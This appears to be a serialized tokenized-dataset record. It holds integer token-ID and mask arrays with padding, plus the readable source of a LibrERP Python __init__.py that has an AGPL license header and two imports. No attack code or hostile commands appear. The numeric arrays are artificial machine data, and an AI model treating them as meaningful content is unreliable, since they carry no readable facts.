365, 3769, 295, 29656, 14, 710, 3680, 27162, 2, 199, 493, 365, 4046, 543, 5145, 14, 1574, 1062, 1325, 2005, 17703, 5560, 12602, 199, 751, 15, 923, 436, 3443, 4293, 10137, 314, 6902, 570, 1655, 12701, 626, 199, 13297, 5121, 16602, 14, 2047, 883, 3544, 675, 314, 1553, 889, 5751, 945, 370, 7981, 642, 14, 199, 624, 199, 199, 363, 1023, 363, 275, 298, 17, 2, 199, 199, 646, 13343, 199, 646, 747, 12, 5145, 199, 646, 984, 199, 199, 3832, 259, 275, 378, 199, 25786, 259, 275, 378, 199, 10481, 1065, 258, 275, 378, 199, 1875, 5751, 275, 715, 199, 199, 318, 4503, 8, 1328, 29, 403, 304, 272, 340, 1499, 365, 440, 488, 26, 267, 870, 4331, 984, 14, 3083, 12, 1499, 272, 870, 4331, 984, 14, 3083, 12, 636, 1301, 363, 199, 199, 318, 2329, 1361, 2031, 589, 304, 272, 7375, 275, 3087, 272, 367, 1680, 315, 1249, 26, 267, 984, 14, 3083, 14, 952, 8, 4127, 435, 620, 8, 1273, 430, 267, 7375, 275, 298, 298, 272, 984, 14, 3083, 14, 952, 4582, 78, 531, 199, 199, 318, 2446, 837, 272, 492, 12733, 272, 2288, 3376, 12, 18011, 12, 9951, 1065, 12, 1852, 5751, 272, 862, 26, 267, 3999, 12, 1249, 275, 12733, 14, 18907, 8, 1274, 14, 3020, 59, 17, 8429, 298, 5012, 15969, 72, 401, 717, 2097, 10481, 1065, 401, 298, 25786, 401, 298, 889, 5751, 401, 298, 3832, 401, 298, 3437, 3135, 272, 871, 12733, 14, 705, 12, 1499, 26, 267, 4503, 8, 1328, 9, 267, 372, 272, 367, 312, 12, 282, 315, 3999, 26, 267, 340, 312, 315, 12291, 68, 297, 2850, 10481, 1065, 735, 288, 9951, 1065, 847, 413, 267, 916, 312, 315, 12291, 82, 297, 2850, 25786, 735, 288, 18011, 847, 413, 267, 916, 312, 315, 12291, 78, 297, 2850, 889, 5751, 735, 288, 1852, 5751, 275, 756, 267, 916, 312, 315, 12291, 86, 297, 2850, 3832, 735, 288, 3376, 847, 413, 267, 916, 312, 315, 12291, 72, 297, 2850, 3437, 735, 288, 4503, 342, 288, 372, 272, 340, 440, 1249, 26, 267, 519, 275, 799, 262, 848, 351, 8, 1274, 14, 6626, 9, 267, 519, 14, 1065, 342, 267, 519, 14, 952, 8, 1274, 14, 2703, 9, 267, 372, 272, 367, 1680, 315, 1249, 26, 267, 1104, 8, 1273, 9, 199, 199, 318, 1104, 8, 493, 304, 272, 340, 747, 14, 515, 14, 6027, 8, 493, 9, 436, 440, 747, 14, 515, 14, 20719, 8, 493, 304, 267, 340, 3376, 26, 288, 870, 298, 16115, 2082, 401, 570, 267, 1561, 275, 747, 14, 7374, 8, 493, 9, 267, 367, 536, 315, 1561, 26, 288, 11064, 275, 747, 14, 515, 14, 904, 8, 493, 12, 536, 9, 288, 340, 3666, 25786, 436, 747, 14, 515, 14, 6027, 8, 9930, 9, 436, 326, 440, 747, 14, 515, 14, 20719, 8, 9930, 9, 436, 326, 440, 747, 14, 515, 14, 1294, 8, 9930, 2788, 17, 1055, 2460, 480, 13853, 355, 503, 536, 14, 2325, 1252, 4130, 9520, 647, 14150, 355, 1104, 8, 9930, 9, 267, 372, 339, 340, 3376, 26, 267, 870, 298, 19527, 401, 570, 12, 298, 23966, 272, 862, 26, 267, 289, 275, 1551, 8, 493, 9, 272, 871, 5925, 12, 1499, 26, 267, 2329, 1361, 3647, 83, 26, 473, 15, 47, 4520, 26, 450, 83, 2, 450, 334, 493, 12 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 17646, 68, 370, 314, 4575, 2881, 12, 701, 26244, 11379, 878, 12, 30569, 18365, 22459, 12293, 14, 199, 199, 624, 264, 3724, 5243, 68, 15898, 82, 15898, 86, 61, 359, 931, 2263, 1622, 199, 199, 13, 68, 334, 306, 10481, 1065, 9, 257, 577, 651, 1255, 14, 257, 14279, 806, 12, 1325, 2793, 1133, 1852, 1263, 4493, 370, 12, 1584, 14, 199, 13, 82, 334, 306, 25786, 9, 221, 18306, 261, 14, 257, 8730, 367, 1006, 1275, 647, 1584, 315, 24799, 4634, 14, 199, 13, 78, 334, 306, 889, 5751, 9, 3091, 6902, 14, 12078, 440, 1852, 282, 3680, 27162, 2, 570, 2544, 295, 3724, 316, 14, 199, 13, 86, 334, 306, 3832, 9, 221, 5444, 2220, 14, 257, 9101, 315, 20889, 17599, 27, 587, 949, 1072, 14, 199, 13, 72, 334, 306, 3437, 9, 258, 15456, 14, 420, 9101, 642, 4503, 2556, 436, 4458, 14, 199, 199, 4001, 2018, 17048, 647, 9, 1584, 370, 675, 499, 13, 2638, 31140, 436, 949, 7508, 5174, 4110, 14, 199, 31892, 11639, 444, 670, 7883, 436, 12187, 687, 11187, 402, 2385, 12, 436, 2813, 2701, 2385, 199, 292, 314, 1284, 402, 1584, 14, 221, 6121, 4868, 314, 2061, 1004, 11187, 543, 282, 8057, 14, 199, 199, 3917, 949, 3792, 787, 1627, 641, 314, 1414, 1004, 12, 295, 3724, 1758, 2335, 465, 282, 2457, 12, 199, 19332, 282, 2849, 1350, 570, 687, 4465, 1324, 436, 3575, 314, 14834, 199, 1365, 370, 4465, 1072, 14, 221, 1010, 642, 1930, 12, 314, 446, 68, 12, 446, 82, 436, 446, 86, 3285, 787, 199, 11996, 14, 199, 199, 5556, 883, 986, 1373, 503, 1655, 570, 436, 15, 269, 2082, 3792, 14, 221, 3979, 282, 2082, 199, 515, 12, 1006, 1275, 647, 1584, 4453, 314, 2082, 911, 506, 15735, 1942, 12, 436, 12, 340, 314, 446, 82, 199, 1422, 365, 1627, 12, 2839, 2605, 15035, 367, 24799, 14, 199, 199, 3917, 1072, 365, 440, 370, 4465, 1072, 12, 295, 3724, 1806, 16334, 1584, 315, 4192, 12, 199, 828, 9568, 314, 3379, 83, 543, 282, 1275, 27162, 3329, 14, 221, 982, 652, 17651, 6548, 370, 199, 1461, 12, 314, 570, 365, 3602, 23016, 14, 221, 982, 295, 3724, 1630, 1570, 282, 570, 12, 314, 2896, 199, 493, 365, 282, 6317, 13, 1403, 367, 6466, 7858, 334, 73, 14, 69, 2020, 3879, 295, 3724, 641, 314, 199, 1099, 316, 1275, 647, 570, 7859, 1133, 1570, 652, 4020, 680, 199, 199, 1918, 7508, 1777, 402, 295, 3724, 316, 365, 6085, 4039, 734, 4052, 370, 886, 543, 3721, 199, 1278, 14, 221, 2002, 1846, 465, 314, 1324, 1584, 664, 282, 3633, 330, 778, 402, 13822, 687, 199, 2902, 78, 1189, 89, 14, 647, 12, 295, 3724, 1077, 886, 282, 6954, 3906, 14, 199, 199, 1918, 6902, 570, 365, 282, 1331, 402, 314, 1373, 626, 365, 3769, 295, 29656, 14, 710, 3680, 27162, 2, 199, 493, 365, 4046, 543, 5145, 14, 1574, 1062, 1325, 2005, 17703, 5560, 12602, 199, 751, 15, 923, 436, 3443, 4293, 10137, 314, 6902, 570, 1655, 12701, 626, 199, 13297, 5121, 16602, 14, 2047, 883, 3544, 675, 314, 1553, 889, 5751, 945, 370, 7981, 642, 14, 199, 624, 199, 199, 363, 1023, 363, 275, 298, 17, 2, 199, 199, 646, 13343, 199, 646, 747, 12, 5145, 199, 646, 984, 199, 199, 3832, 259, 275, 378, 199, 25786, 259, 275, 378, 199, 10481, 1065, 258, 275, 378, 199, 1875, 5751, 275, 715, 199, 199, 318, 4503, 8, 1328, 29, 403, 304, 272, 340, 1499, 365, 440, 488, 26, 267, 870, 4331, 984, 14, 3083, 12, 1499, 272, 870, 4331, 984, 14, 3083, 12, 636, 1301, 363, 199, 199, 318, 2329, 1361, 2031, 589, 304, 272, 7375, 275, 3087, 272, 367, 1680, 315, 1249, 26, 267, 984, 14, 3083, 14, 952, 8, 4127, 435, 620, 8, 1273, 430, 267, 7375, 275, 298, 298, 272, 984, 14, 3083, 14, 952, 4582, 78, 531, 199, 199, 318, 2446, 837, 272, 492, 12733, 272, 2288, 3376, 12, 18011, 12, 9951, 1065, 12, 1852, 5751, 272, 862, 26, 267, 3999, 12, 1249, 275, 12733, 14, 18907, 8, 1274, 14, 3020, 59, 17, 8429, 298, 5012, 15969, 72, 401, 717, 2097, 10481, 1065, 401, 298, 25786, 401, 298, 889, 5751, 401, 298, 3832, 401, 298, 3437, 3135, 272, 871, 12733, 14, 705, 12, 1499, 26, 267, 4503, 8, 1328, 9, 267, 372, 272, 367, 312, 12, 282, 315, 3999, 26, 267, 340, 312, 315, 12291, 68, 297, 2850, 10481, 1065, 735, 288, 9951, 1065, 847, 413, 267, 916, 312, 315, 12291, 82, 297, 2850, 25786, 735, 288, 18011, 847, 413, 267, 916, 312, 315, 12291, 78, 297, 2850, 889, 5751, 735, 288, 1852, 5751, 275, 756, 267, 916, 312, 315, 12291, 86, 297, 2850, 3832, 735, 288, 3376, 847, 413, 267, 916, 312, 315, 12291, 72, 297, 2850, 3437, 735, 288, 4503, 342, 288, 372, 272, 340, 440, 1249, 26, 267, 519, 275, 799, 262, 848, 351, 8, 1274, 14, 6626, 9, 267, 519, 14, 1065, 342, 267, 519, 14, 952, 8, 1274, 14, 2703, 9, 267, 372, 272, 367, 1680, 315, 1249, 26, 267, 1104, 8, 1273, 9, 199, 199, 318, 1104, 8, 493, 304, 272, 340, 747, 14, 515, 14, 6027, 8, 493, 9, 436, 440, 747, 14, 515, 14, 20719, 8, 493, 304, 267, 340, 3376, 26, 288, 870, 298, 16115, 2082, 401, 570, 267, 1561, 275, 747, 14, 7374, 8, 493, 9, 267, 367, 536, 315, 1561, 26, 288, 11064, 275, 747, 14, 515, 14, 904, 8, 493, 12, 536, 9, 288, 340, 3666, 25786, 436, 747, 14, 515, 14, 6027, 8, 9930, 9, 436, 326, 440, 747, 14, 515, 14, 20719, 8, 9930, 9, 436, 326, 440, 747, 14, 515, 14, 1294, 8, 9930, 2788, 17, 1055, 2460, 480, 13853, 355, 503, 536, 14, 2325, 1252, 4130, 9520, 647, 14150, 355, 1104, 8, 9930, 9, 267, 372, 339, 340, 3376, 26, 267, 870, 298, 19527, 401, 570, 12, 298, 23966, 272, 862, 26, 267, 289, 275, 1551, 8, 493, 9, 272, 871, 5925, 12, 1499, 26, 267, 2329, 1361, 3647, 83, 26, 473, 15, 47, 4520, 26, 450, 83, 2, 450, 334, 493, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dhp-denero/LibrERP
account_due_list/__init__.py
2
1099
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (C) 2011 Agile Business Group sagl (<http://www.agilebg.com>) # Copyright (C) 2011 Domsense srl (<http://www.domsense.com>) # Copyright (C) 2014 Didotech SRL # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from . import account_move_line from . import reports
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 1898, 334, 35, 9, 7760, 21582, 441, 23813, 5611, 308, 643, 76, 8642, 1014, 921, 1544, 14, 643, 441, 6856, 14, 957, 18956, 199, 3, 259, 1898, 334, 35, 9, 7760, 577, 676, 16517, 308, 4308, 8642, 1014, 921, 1544, 14, 4556, 16517, 14, 957, 18956, 199, 3, 259, 1898, 334, 35, 9, 6927, 29503, 1583, 335, 428, 2431, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 199, 3, 259, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 504, 1275, 492, 2933, 63, 1185, 63, 604, 199, 504, 1275, 492, 13924, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 1898, 334, 35, 9, 7760, 21582, 441, 23813, 5611, 308, 643, 76, 8642, 1014, 921, 1544, 14, 643, 441, 6856, 14, 957, 18956, 199, 3, 259, 1898, 334, 35, 9, 7760, 577, 676, 16517, 308, 4308, 8642, 1014, 921, 1544, 14, 4556, 16517, 14, 957, 18956, 199, 3, 259, 1898, 334, 35, 9, 6927, 29503, 1583, 335, 428, 2431, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 199, 3, 259, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 504, 1275, 492, 2933, 63, 1185, 63, 604, 199, 504, 1275, 492, 13924, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
